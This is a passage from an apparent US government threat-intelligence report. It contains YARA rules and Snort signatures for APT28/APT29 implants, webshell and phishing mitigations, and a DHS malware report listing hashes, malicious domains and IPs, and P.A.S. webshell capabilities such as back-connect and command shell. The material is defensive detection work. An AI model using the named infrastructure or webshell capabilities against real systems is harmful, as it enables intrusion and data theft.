uint32(1) == 0x6674725C) and all of them Rule IMPLANT_6_v6 strings: 40 of 56 40 of 56 TLP:WHITE TLP:WHITE $Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50 FF 15 ?? ?? ?? ?? 33 C0 condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Rule IMPLANT_6_v7 strings: $STR1 = "Init1" $OPT1 = "ServiceMain" $OPT2 = "netids" nocase wide ascii $OPT3 = "netui" nocase wide ascii $OPT4 = "svchost.exe" wide ascii $OPT5 = "network" nocase wide ascii condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR1 and 2 of ($OPT*) 41 of 56 41 of 56 TLP:WHITE TLP:WHITE APPENDIX B: APT29 This section details six implants associated with APT29 actors. Included are YARA rules as well as SNORT signatures. Please note that despite being sound production rules, there is still the chance for False Positives. In addition, these will complement additional analysis and should not be used as the sole source of attribution. The following YARA rules detect IMPLANT 7, with rule naming convention. IMPLANT 7 Rules: Rule IMPLANT_7_v1 strings: $MZ = "MZ" $STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE } $STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB } condition: $MZ at 0 and ($STR1 or $STR2) Network Indicators for Implant 7 alert tcp any any -> any 80 (content:".php?"; pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css| im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/"; msg:"Cache_DLL beacon GET 2 arg"; sid:1234;) alert tcp any any -> any 80 (content:".php?"; pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css| im|code|search)=[a-z0- 42 of 56 42 of 56 TLP:WHITE TLP:WHITE 9]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/"; msg:"Cache_DLL beacon GET 3 arg"; sid:1234;) alert tcp any any -> any 80 (content:".php?"; pcre:"/\/(?:index|status|captha|json|css|ajax|js)\.php\?(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css| im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z09]{0,26}\&(?:id|item|mode|page|status|s|f|t|k|l|m|n|b|v|c|app|js|css|im|code|search)=[a-z0-9]{0,26} HTTP/"; msg:"Cache_DLL beacon GET 4 arg"; sid:1234;) The following YARA rules detect HAMMERTOSS / HammerDuke, referred to as IMPLANT 8 with rule naming convention. IMPLANT 8 Rules: rule IMPLANT_8_v1 strings: $DOTNET = "mscorlib" ascii $REF_URL = "https://www.google.com/url?sa=" wide $REF_var_1 = "&rct=" wide $REF_var_2 = "&q=&esrc=" wide $REF_var_3 = "&source=" wide $REF_var_4 = "&cd=" wide $REF_var_5 = "&ved=" wide $REF_var_6 = "&url=" wide $REF_var_7 = "&ei=" wide $REF_var_8 = "&usg=" wide 43 of 56 43 of 56 TLP:WHITE TLP:WHITE $REF_var_9 = "&bvm=" wide $REF_value_1 = "QFj" wide $REF_value_2 = "bv.81" wide condition: (uint16(0) == 0x5A4D) and ($DOTNET) and ($REF_URL) and (3 of ($REF_var*)) and (1 of ($REF_value*)) Rule IMPLANT_8_v2 strings: $DOTNET= "mscorlib" ascii $XOR = {61 20 AA 00 00 00 61} condition: (uint16(0) == 0x5A4D) and all of them Network Indicator for Implant 8 alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MAL_REFERER"; flow:established,to_server; content:"GET"; http_method; content:"&bvm=bv.81"; fast_pattern; http_header; content:",d."; distance:6; within:3; http_header; content:"|0D 0A|"; distance:3;within:2; http_header; content:!"Cookie|3A 20|"; http_header; pcre:"/https:\/\/www\.google\.com\/url\?sa=t&rct=j&q=&esrc=s&source=web&cd=(?:[09]|10|11)&ved=0C[A-L]{2}QFjA[A-L]&url=[^&]{1,512}&ei=[A-Za-z0-9]{20,22}&usg=[A-Za-z09_]{34}&bvm=bv\.81[1-7]{6}\,d\.[A-Za-z0-9_]{3}\x0d\x0a/D";sid:1234;rev:2;) alert tcp any any -> any any (msg: "evil_twitter_callback"; content:"GET /api/asyncTwitter.php HTTP/1.1";) 44 of 56 44 of 56 TLP:WHITE TLP:WHITE The following YARA rules detect OnionDuke, referred to as IMPLANT 9 with rule naming convention. IMPLANT 9 Rules: Rule IMPLANT_9_v1 strings: $STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE } $STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF 3B C6 72 E7 } $STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88 4C 02 04 40 3B 06 72 E3 } condition: (uint16(0) == 0x5A4D or uint16(0)) and all of them The following Yara rule detects CozyDuke, CozyCar, CozyBear, referred to as IMPLANT 10 with rule naming convention. IMPLANT 10 Rules: Rule IMPLANT_10_v1 strings: $MZ = "MZ" $STR1 = {33 ?? 83 F2 ?? 81 e2 ff 00 00 00} $STR2 = {0f be 14 01 33 d0 ?? f2 [1-4] 81 e2 ff 00 00 00 66 89 [6] 40 83 f8 ?? 72} condition: 45 of 56 45 of 56 TLP:WHITE TLP:WHITE $MZ at 0 and ($STR1 or $STR2) Rule IMPLANT_10_v2 strings: $MZ = "MZ" $xor = { 34 ?? 66 33 C1 48 FF C1 } $nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00} condition: $MZ at 0 and $xor and $nop Network Indicators for IMPLANT 10 alert tcp any any -> any 80 (content:"=650&"; pcre:"/=11&[^&]{1,7}?=2[^&]{6,12}&[^&]{1,7}?=410&[^&]{1,7}?=650&[^&]{1,7}?=51 HTTP\/1\.1/"; msg:"CozyCar"; sid:1;) alert tcp any any -> any 80 (content:".php? HTTP"; content:"=12&"; distance:0; pcre:"/=12&[^&=]{1,7}?=2[^&=]{12,16}?==[^&=]{18,26}?==/"; msg:"CozyCarv2"; sid:1234;) The following YARA rules detect MiniDuke, referred to as IMPLANT 11 with rule naming convention. IMPLANT 11 Rules: Rule IMPLANT_11_v1 46 of 56 46 of 56 TLP:WHITE TLP:WHITE strings: $STR1 = {63 74 00 00} // ct $STR2 = {72 6F 74 65} // rote $STR3 = {75 61 6C 50} // triV $STR4 = {56 69 72 74} // Plau $STR5 = { e8 00 00 00 00 } $STR6 = { 64 FF 35 00 00 00 00 } $STR7 = {D2 C0} $STR8 = /\x63\x74\x00\x00.{3,20}\x72\x6F\x74\x65.{3,20}\x75\x61\x6C\x50.{3,20}\x56\x69\x72\x74/ condition: (uint16(0) == 0x5A4D) and #STR5 > 4 and all of them Network Indicators for IMPLANT 11 alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_1_1 - new"; content:"IUgyYll"; pcre:"/IUgyYll(\x0d\x0a)??t(\x0d\x0a)??L(\x0d\x0a)??l(\x0d\x0a)??N(\x0d\x0a)??3(\x0d\x0a)??Q/";) alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_1_2 - new"; content:"ltLlN3Q"; pcre:"/I(\x0d\x0a)??U(\x0d\x0a)??g(\x0d\x0a)??y(\x0d\x0a)??Y(\x0d\x0a)??l(\x0d\x0a)??ltLlN3Q/";) alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_2_1 - new"; content:"FIMmJZ"; pcre:"/FIMmJZ(\x0d\x0a)??b(\x0d\x0a)??S(\x0d\x0a)??5(\x0d\x0a)??T(\x0d\x0a)??d(\x0d\x0a)??0/";) alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_2_2 - new"; content:"bS5Td0"; pcre:"/F(\x0d\x0a)??I(\x0d\x0a)??M(\x0d\x0a)??m(\x0d\x0a)??J(\x0d\x0a)??Z(\x0d\x0a)??bS5Td0/";) alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_3_1 - new"; content:"hSDJiWW"; pcre:"/hSDJiWW(\x0d\x0a)??0(\x0d\x0a)??u(\x0d\x0a)??U(\x0d\x0a)??3(\x0d\x0a)??d(\x0d\x0a)??A/";) 47 of 56 47 of 56 TLP:WHITE TLP:WHITE alert tcp any any -> any 25 (msg:"MiniDuke-string1_slide_3_2 - new"; content:"W0uU3dA"; pcre:"/h(\x0d\x0a)??S(\x0d\x0a)??D(\x0d\x0a)??J(\x0d\x0a)??i(\x0d\x0a)??W(\x0d\x0a)??W0uU3dA/";) alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_1_1 - new"; content:"QDM0Zlo"; pcre:"/QDM0Zlo(\x0d\x0a)??3(\x0d\x0a)??R(\x0d\x0a)??V(\x0d\x0a)??t(\x0d\x0a)??w(\x0d\x0a)??X/";) alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_1_2 - new"; content:"o3RVtwX"; pcre:"/Q(\x0d\x0a)??D(\x0d\x0a)??M(\x0d\x0a)??0(\x0d\x0a)??Z(\x0d\x0a)??l(\x0d\x0a)??o3RVtwX/";) alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_2_1 - new"; content:"AzNGZa"; pcre:"/AzNGZa(\x0d\x0a)??N(\x0d\x0a)??0(\x0d\x0a)??V(\x0d\x0a)??b(\x0d\x0a)??c(\x0d\x0a)??F/";) alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_2_2 - new"; content:"N0VbcF"; pcre:"/A(\x0d\x0a)??z(\x0d\x0a)??N(\x0d\x0a)??G(\x0d\x0a)??Z(\x0d\x0a)??a(\x0d\x0a)??N0VbcF/";) alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_3_1 - new"; content:"AMzRmWj"; pcre:"/AMzRmWj(\x0d\x0a)??d(\x0d\x0a)??F(\x0d\x0a)??W(\x0d\x0a)??3(\x0d\x0a)??B(\x0d\x0a)??c/"; alert tcp any any -> any 25 (msg:"MiniDuke-string2_slide_3_2 - new"; content:"jdFW3Bc"; pcre:"/A(\x0d\x0a)??M(\x0d\x0a)??z(\x0d\x0a)??R(\x0d\x0a)??m(\x0d\x0a)??W(\x0d\x0a)??jdFW3Bc/"; The following YARA rules detect CosmicDuke, referred to as IMPLANT 12 with rule naming convention. IMPLANT 12 Rules: Rule IMPLANT_12_v1 48 of 56 48 of 56 TLP:WHITE TLP:WHITE strings: $FUNC = {a1 [3-5] 33 c5 89 [2-3] 56 57 83 [4-6] 64} condition: (uint16(0) == 0x5A4D) and $FUNC Network Indicators for IMPLANT 12 alert tcp any any -> any 80 (msg:"CosmicDuke HTTP Beacon"; content:"&BranchID="; pcre:"/\?(?:m|mgn)\&Auth\=[a-zA-Z0-9]{8}\&Session\=/"; ) alert tcp any any -> any 80 (msg:"CosmicDuke Webdav Exfil"; content:"PUT /catalog/outgoing/wd"; pcre:"/PUT \/catalog\/outgoing\/wd[a-zA-Z0-9]{44}\.bin/";) alert tcp any any -> any 21 (msg:"CosmicDuke FTP Exfil"; content:"STOR fp"; pcre:"/STOR fp[a-zAZ0-9]{44}\.bin/"; ) 49 of 56 49 of 56 TLP:WHITE TLP:WHITE APPENDIX C: Mitigations Guidance Defending Against Webshell Attacks Defend Continually patch all webservers and all web components servicing the site, including PHP, Apache, IIS, and ColdFusion. Deploying a webshell typically requires adding to, or modifying, the code presented by the web server and is often accomplished via an exploit of a web server vulnerability. Patching all components that service the web server provides a substantial mitigation against most commonly known vulnerabilities. Adhere to least privilege principles for server access and management. Through following the principle of least privilege, lateral movement and privilege escalation is made more challenging to an attacker by restricting access on the box and across the network. Restrict write access to all folders that contain files served by the web server. All content served by the web server should be tightly controlled in such a way that only web administrator accounts can modify or add content. This would force an attacker to gain specific sets of credentials before they could add any malicious content to be delivered by the server. Restrict access to all ports and administrative panels. Server ports are typically very predictable, and access to those ports should be constrained to only the services and users that require them. This will reduce the attack surface on the web server and supporting applications. Deploy and configure Security-Enhanced Linux (SELinux) on supported Linux specific systems. SELinux has the capability to lock down web services such as Apache and can be configured to allow the service to access only certain directories. The administrators could possibly include /var/www/html, which contains the actual pages being served up. If a site has upload capabilities, then SELinux could help with least privilege by restricting read/write access on these folders as well. The web service already runs in a lower privilege context, but SELinux would also limit the file locations that it can actually access. This would prevent arbitrary file writes and possible malware uploads to areas that an admin would not normally detect. Conduct regular vulnerability scans and establish a remediation strategy focusing on the most detrimental findings first. Regular scanning and remediation measures will remove opportunities to exploit known attack vectors by an adversary. Deploy a Web Application Firewall (WAF). WAF technologies defend against common web exploitation techniques such as SQL injection and cross site scripting. Deploying this capability helps reduce the likelihood of a successful web attack on the server that could otherwise allow the perpetrator to modify code and deploy the webshell. 50 of 56 50 of 56 TLP:WHITE TLP:WHITE Where third party products are integrated into the website (e.g., Adobe ColdFusion) ensure that the product is configured according to DoD or vendor published hardening best practices.1 Detect Conduct regular log review. Key sources should include the network and host firewalls, Intrusion Prevention System, proxy, and local event logs. Events of interest should include high usage rates to suspicious IPs, odd timestamps on web files (dates that don t match previous content updates), odd connections destined for internal networks, suspicious files in internet accessible locations, references to key words such as cmd.exe or eval.4 Auditing should involve some kind of aggregator to store and secure the logs remotely. Even the best auditing on the web server is useless if the attacker can just manipulate or delete them once they have obtained control. The logs should be protected and regularly rolled up to a centralized location for integration into a security information and event management system. Develop all content in an offline environment and maintain a hash list of all web files. Frequently compare the hashes of the files on the web server to the known good list maintained offline (an automated method is preferred). Obtain regular full system backups (including snapshots if it is a virtual machine). Forensically the known good data that these can provide is extremely useful for detection. Having a copy of the filesystem before a compromise to compare against the postcompromise filesystem can be a benefit to any analysis. Analyze traffic flows looking for certain anomalous behaviors such as prolonged connections, data frequently being pushed to the server (e.g., commands being sent to the shell), frequent large data transfers (an indication of data exfiltration), and abnormal encryption (anything that is not SSL/TLS or that negotiates using an alternate certificate) as indicators of potential nefarious activity.2 Contain Internet facing web servers should be deployed to a DMZ. All traffic to internal networks from the DMZ should be significantly constrained and highly monitored. Restrict outbound communications from the DMZ to all other networks. Communications originating in the DMZ destined for the internal network should be minimal at most (ideally this should never happen). An attacker who gains access to a web server in the DMZ should have no capability to leverage that access in order to gain direct additional access in the internal network. Web server communications to the internet should be restricted to http/https only. All other ports and protocols should be blocked. https://helpx.adobe.com/coldfusion/community-documentation/coldfusion-lockdown-guide.html https://www.us-cert.gov/ncas/alerts/TA15-314A 51 of 56 51 of 56 TLP:WHITE TLP:WHITE When a Domain Controller (DC) is necessary in the DMZ, it is recommended that a standalone DC and forest structure be deployed. Additionally, all accounts and resources in the DMZ instance should have no association or likeness to the internal network. Ensure separation of admin accounts. The web admin account should not be the same admin account that is used elsewhere on the domain. Respond When a compromise is found, reset all credentials associated with the webserver (this may expand to all accounts in the DMZ if it is suspected that the compromise has expanded to the DC). This should include all user and service accounts, all domain accounts that have logged onto that host and all local accounts, to include the Kerberos master ticket granting ticket on the DC. Depending on the circumstances, it may also be necessary to take the suspected server(s) or network offline during the remediation process. All server files should be wiped and restored from a known good source. The organization should prepare for a disaster recovery situation that includes a system compromise. Regular backups and offline storage of the data files should be made before being transferred to the DMZ production environment. When all other response techniques have failed at remediating the suspected compromise, the server(s) should be completely rebuilt or replaced. All data reconstitution efforts should stem from a known good source (offline backup). Defending Against Spear Phishing Attacks Defend Enforce application whitelisting on all endpoint workstations to prevent droppers or unauthorized software from gaining execution on endpoints. Many phishing attacks involve an executable that is dropped and installed on the victim s machine. Application Whitelisting will allow the organization to monitor programs and allow only those that are on the approved whitelist to execute. This would help to stop the initial attack, even if the user has clicked the link or opened a malicious attachment. There are many baseline rulesets that come with the vendor product, but the organization should ensure that at least the user Temp directories are blocked for execution since this is where numerous phishing emails attempt to drop and execute malware. Disable Macros in office products. Macros are a common method for executing code through an attached office document. Macros were often used as a means for initial exploitation in the late 1990s and early 2000s but have seen a recent resurgence in frequency of use. Some office products allow for the disabling of macros that originate from outside of the organization and can provide a hybrid approach when the organization depends on the legitimate use of macros. For Windows, specific settings can be configured to block Internet originated macros from running. This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel, and PowerPoint). For example, to enable the policy setting for Microsoft Word 2016, in the 52 of 56 52 of 56 TLP:WHITE TLP:WHITE Group Policy Management Editor, select: User Configuration > Administrative Templates > Microsoft Word 2016 > Word Options > Security > Trust Center > Block macros from running in Office files from the Internet3 Utilize up to date web browsers on the network for increased security enhancements. These improvements may include a sandboxing feature that would allow the browser to contain any malicious content and protect the endpoint if an emailed link is clicked. Deploy web and email filters on the network and configure these devices to scan for known bad domains, sources, and addresses; block these before messages are received and downloaded. This action will help to reduce the attack surface at the network s first level of defense. In addition, attachments should be filtered. The network defenses should only allow approved extensions to pass through to the email client. Most .exe, scripting extensions (including .bat, .js, and .ps1) and other executable extensions should be blocked. Scan all emails, attachments, and downloads both on host and at the mail gateway with a reputable antivirus solution that includes cloud reputation services. Taking advantage of cloud reputation advancements provides rapid response capabilities and the integration of a broad base of cyber defense intelligence. Organizations should ensure that they have disabled HTML from being used in emails, as well as disabling links. Everything should be forced to plain text. This will reduce the likelihood of potentially dangerous scripts or links being sent in the body of the email, and also will reduce the likelihood of a user just clicking something without thinking about it. With plain text, the user would have to go through the process of either typing in the link or copying and pasting. This additional step will allow the user an extra opportunity for thought and analysis before clicking on the link. Establish a training mechanism to inform end users on proper email and web usage as well as common indicators of phishing to be aware of. This training should be done at least annually and should include a test that is scored and available for viewing by management and/or the IT Security department. The training should inform users what suspicious emails look like, what to do when they suspect phishing, as well as explain what they should post on any websites in terms of personally identifiable information (PII) that may be used for phishing campaigns (including email addresses, job titles, names, etc.). Consider real life interactive training simulations where users are sent suspicious emails on a semi regular basis and subsequently redirected to a phishing training site should they fail to adhere to the organization s best practices and policies. Detect Monitor event logs, email logs, and firewall logs for any indicators of a potential attack. These could include emails from suspicious domains, installation of programs on machines https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-blockmacros-and-help-prevent-infection/ 53 of 56 53 of 56 TLP:WHITE TLP:WHITE that are unusual or not approved, unusual call outs to the internet from office products, nonsmtp traffic from the email client, strange child processes under the parent office process, or spoofed domains sending or receiving traffic from the network. Strange Traffic/Behavior (e.g., Spamming others) should also be looked for in the various logs. This is a strong indicator that machine(s) are compromised in some way. Using the antivirus software that is installed on the mailbox server and all of the clients, review the alerts and logs regularly for any activity on the network. The sooner detection can take place, the sooner remediation steps can start, and the amount of damage can be minimalized. Users play an important role in the detection of spear phishing if they understand the proper reporting procedures of the organization. Users should be able to identify the correct handling and alerting procedure that the users should follow for any suspicious email they receive. Using the logs from the organizations firewalls/filters/security devices/workstations, administrators should always ensure that their whitelisted and blacklisted domains are up to date. Admins should also check DoD blacklists for known bad domains and add these to their filters as well. Using these logs and lists, the organization may benefit from other incidents that have occurred to help in the future Contain Utilize application containment products that can be used to prevent the downloading and propagation of malicious software on the network. If the organization is using some form of web email, the browser must be containerized. If the organization is using a program for email (e.g., Microsoft Outlook or Mozilla Thunderbird), then that program should be containerized for protection. The Application Containment will open the browser or email program in its own Virtual Machine and isolate it from the rest of the system. This allows the execution of potential malware in a sandboxed environment so the host system is protected. Implement front and back end email servers when running on site instantiations of mail services. Having a front-end server allows the organization to have an extra layer of protection on the network since the front-end mailbox server contains no user data and allows a firewall to be placed before the back end server. This is also safer and more convenient for any web accessed email since web traffic is not being allowed directly into the network, protects from denial-of-service attacks, and authenticates requests before proxying them to the back end server.4 Control where and when an administrator can log on, as well as what they can do when logged onto a system. This can minimize the damage of a spear phishing attack. Admins should never be allowed to browse the internet, nor should they be allowed to open any email program. This will reduce the likelihood of an accidental click or download of a program that could be malicious. This also will reduce the chances that a successful attacker will gain https://technet.microsoft.com/en-us/library/bb124804(v=exchg.65).aspx 54 of 56 54 of 56 TLP:WHITE TLP:WHITE admin privileges immediately when they gain access to the system. Organizations can accomplish this restriction a number of ways, including application whitelisting, VLAN separation, dedicated administrator boxes, etc. Ensure that standard user accounts are not a part of the local administrators group. The local administrator account should also be denied network access and all built in local administrator accounts should have a unique password value. It is a common tactic to look for local administrator credentials as a method of expanding access across the network. Making these values unique for each machine and denying that account network access removes the attacker s capability to easily expand access using the same credentials5. Respond If a phishing email is discovered or suspected, the organization needs to start their normal investigation procedures. It may be as simple as deleting that email and updating the email filter to prevent this address/domain from sending to the organization again, but it could also trigger a normal incident response. If the email contained a link that was clicked, an attachment that was downloaded, or a program that was executed, the organization may have to remove any malicious content, discover the extent of the possible spread, detail any exfiltration of data, or even remove the affected machine(s) or rebuild them. Reset user credentials and all credentials associated with all compromised boxes. This should include services accounts and machine accounts as well as the supporting Kerberos tickets. Monitor all accounts associated with the spear-phishing event. User accounts who are suspected to have been the victim of a successful phishing campaign should be forensically monitored for abnormal behaviors including unusual connections to non-standard resources, attempts to elevate privileges, enumeration behaviors on the local host machine as well as remote systems, and attempts to execute odd programs or applications. https://www.microsoft.com/en-us/download/details.aspx?id=36036 55 of 56 55 of 56 TLP:WHITE TLP:WHITE APPENDIX D: Malware Initial Findings Report (MIFR)-10105049 UPDATE 2 (TLP WHITE) 56 of 56 56 of 56 TLP:WHITE TLP:WHITE Malware Initial Findings Report (MIFR) - 10105049-Update2 2017-01-23 Notification This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service, referenced in this bulletin or otherwise. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distr buted without restriction. For more information on the Traffic Light Protocol, see http://www.us-cert.gov /tlp/. Summary Description This report is an update to MIFR-10105049 and provides additional analysis of the artifacts identified in the NCCIC Joint Analysis Report (JAR 16-20296) dated December 19, 2016. The artifacts analyzed in this report include 17 PHP files, 3 executables and 1 RTF file. The PHP files are webshells designed to provide a remote user an interface for various remote operations. The rtf file is a malicious document designed to install and execute a malicious executable. Files Processed 10b1306f322a590b9cef4d023854b850 (0576cd0e9406e642c473cfa9cb67da4bc4963e0fd6811bb09d328d71b36faa09) 128cc715b25d0e55704ed9b4a3f2ef55 (0fd05095e5d2fa466bef897105dd943de29f6b585ba68a7bf58148767364e73e) 1ec7f06f1ee4fa7cecd17244eec24e07 (a0c00aca2f34c1f5ddcf36be2ccca4ce63b38436faf45f097d212c59d337a806) 38f7149d4ec01509c3a36d4567125b18 (7b28b9b85f9943342787bae1c92cab39c01f9d82b99eb8628abc638afd9eddaf) 617ba99be8a7d0771628344d209e9d8a (9f918fb741e951a10e68ce6874b839aef5a26d60486db31e509f8dcaa13acec5) 66948b04173b523ca773c3073afb506d (449e7a7cbc393ae353e8e18b5c31d17bb13235d0c07e9e319137543608749602) 70f93f4f17d0e46137718fe59591dafb (bd7996752cac5d05ed9d1d4077ddf3abcb3d291321c274dbcf10600ab45ad4e4) 78abd4cdccab5462a64ab4908b6056bd (6fad670ac8febb5909be73c9f6b428179c6a7e94294e3e6e358c994500fcce46) 7fce89d5e3d59d8e849d55d604b70a6f (2d5afec034705d2dc398f01c100636d51eb446f459f1c2602512fd26e86368e4) 81f1af277010cb78755f08dfcc379ca6 (ac30321be90e85f7eb1ce7e211b91fed1d1f15b5d3235b9c1e0dad683538cc8e) 8f154d23ac2071d7f179959aaba37ad5 (55058d3427ce932d8efcbe54dccf97c9a8d1e85c767814e34f4b2b6a6b305641) 93f512e2d9d00bf0bcf1e03c6898cb1e (249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e) a5e933d849367d623d1f2692b6691bbf (7dac01e818bd5a01fe75c3324f6250e3f51977111d7b4a94e41307bf463f122e) ae7e3e531494b201fbf6021066ddd188 (9acba7e5f972cdd722541a23ff314ea81ac35d5c0c758eb708fb6e2cc4f598a0) bfcb50cffca601b33c285b9f54b64cb1 (da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8) c3e23ef7f5e41796b80ca9e59990fe9c (20f76ada1721b61963fa595e3a2006c96225351362b79d5d719197c190cd4239) dc4594dbeafbc8edfa0ac5983b295d9b (9376e20164145d9589e43c39c29be3a07ecdfd9c5c3225a69f712dc0ef9d757f) e80f92faa5e11007f9ffea6df2297993 (3bd682bb7870d5c8bc413cb4e0cc27e44b2358c8fc793b934c71b2a85b8169d7) eddfe110da553a3dc721e0ad4ea1c95c (ae67c121c7b81638a7cb655864d574f8a9e55e66bcb9a7b01f0719a05fab7975) f3ecf4c56f16d57b260b9cf6ec4519d6 (1343c905a9c8b0360c0665efa6af588161fda76b9d09682aaf585df1851ca751) fc45abdd5fb3ffa4d3799737b3f597f4 (d285115e97c02063836f1cf8f91669c114052727c39bf4bd3c062ad5b3509e38) Domains Identified private.directinvesting.com cderlearn.com wilcarobbe.com one2shoppee.com ritsoperrol.ru littjohnwilhap.ru insta.reduct.ru editprod.waterfilter.in.ua mymodule.waterfilter.in.ua/system/logs/xtool.exe US-CERT MIFR-10105049-Update2 1 of 63 Identified 204.12.12.40 209.236.67.159 146.185.161.126 176.114.0.120 176.114.0.157 US-CERT MIFR-10105049-Update2 2 of 63 Files 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e Details Name 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68db9749089f559ada4a33f93e Size 21522 Type PHP script, ASCII text, with very long lines, with CRLF, LF line terminators 93f512e2d9d00bf0bcf1e03c6898cb1e SHA1 b7c7446dc3c97909705899e3dcffc084081b5c9f ssdeep 384:bx6Nx4A8ZPJ8s5o80bOIs+AMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:bx60A2PqsW8s7sMB/XTSfizpv+uunv Entropy 6.11147480451 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aar TrendMicro PHP_WEBSHELL.SMA Sophos PHP/WebShell-O Avira PHP/Agent.12663 Microsoft Ahnlab ESET Backdoor:PHP/Fobushell.D PHP/Webshell PHP/Agent.IB trojan TrendMicroHouseCall PHP_WEBSHELL.SMA Ikarus Backdoor.PHP.Fobushell Relationships 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To (S) Interface for PAS v.3.1.0 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To da9f2804b16b369156e1b629ad3d2aac79326b94 284e43c7b8355f3db71912b8 (bfcb5) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To 20f76ada1721b61963fa595e3a2006c962253513 62b79d5d719197c190cd4239 (c3e23) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To 7b28b9b85f9943342787bae1c92cab39c01f9d82b 99eb8628abc638afd9eddaf (38f71) 249ee048142d3d4b5f7ad15e8d4b98cf9491ee68 db9749089f559ada4a33f93e (93f51) Related_To ae67c121c7b81638a7cb655864d574f8a9e55e66 bcb9a7b01f0719a05fab7975 (eddfe) Description This file is a malicious PHP file containing an embedded obfuscated payload. This payload is Base64 encoded and password protected. During runtime, this payload will be decoded and decrypted using combination of a base64_decode and a password. Analysis indicates that the web-shell will be accessed and executed through a browser by a remote user. The file will prompt the user to enter a password. The password entered is submitted via $_POST and stored in a cookie at runtime. The password "root" was used to decrypt the payload. The decrypted payload contains a PHP web-shell and has been identified as P.A.S. v.3.1.0. This web-shell is a backdoor that provides an interface (see Screenshot) for various remote operations, such as file explorer, searcher, SQL-client, network tools, command shell access, and server info features to a remote user once installed on the compromised system. The following are some of the P.A.S webshell capabilities: --Begin Capabilities-To view compromised server information. File manager (copy, rename, move, download, upload, delete, jump, create files and folders). Search files, objects, directories, and text in files. SQL client to login and dump database and tables. US-CERT MIFR-10105049-Update2 3 of 63 Network console to bindport, back-connect, and port scanner. Command line console to execute command. Execute PHP code. --End Capabilities-- The webshell P.A.S. v.3.1.0 interface is shown in image 1.0. Screenshots Interface for PAS v.3.1.0 da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8 Details Name da9f2804b16b369156e1b629ad3d2aac79326b94284e43c7b8355f3db71912b8 Size 21377 Type PHP script, ASCII text, with very long lines bfcb50cffca601b33c285b9f54b64cb1 SHA1 efcc0c18e10072b50deeca9592c76bc90f4d18ce ssdeep 384:0x6Nx4A8ZPJ8s5o80bOIs+AMBkxM5ZTSzuSizpxf18veznDt1Sxuunv:0x60A2PqsW8s7sMB/XTSfizpv+uunv Entropy 6.10042530063 Antivirus F-prot PHP/WebShell.A McAfee PHP/WebShell.i F-secure Backdoor.PHP.AYP VirIT Trojan.PHP.Shell.JB Symantec PHP.Backdoor.Trojan ClamAV Php.Malware.Agent-5486261-0 Kaspersky Backdoor.PHP.Agent.aar TrendMicro PHP_WEBSHELL.SMA 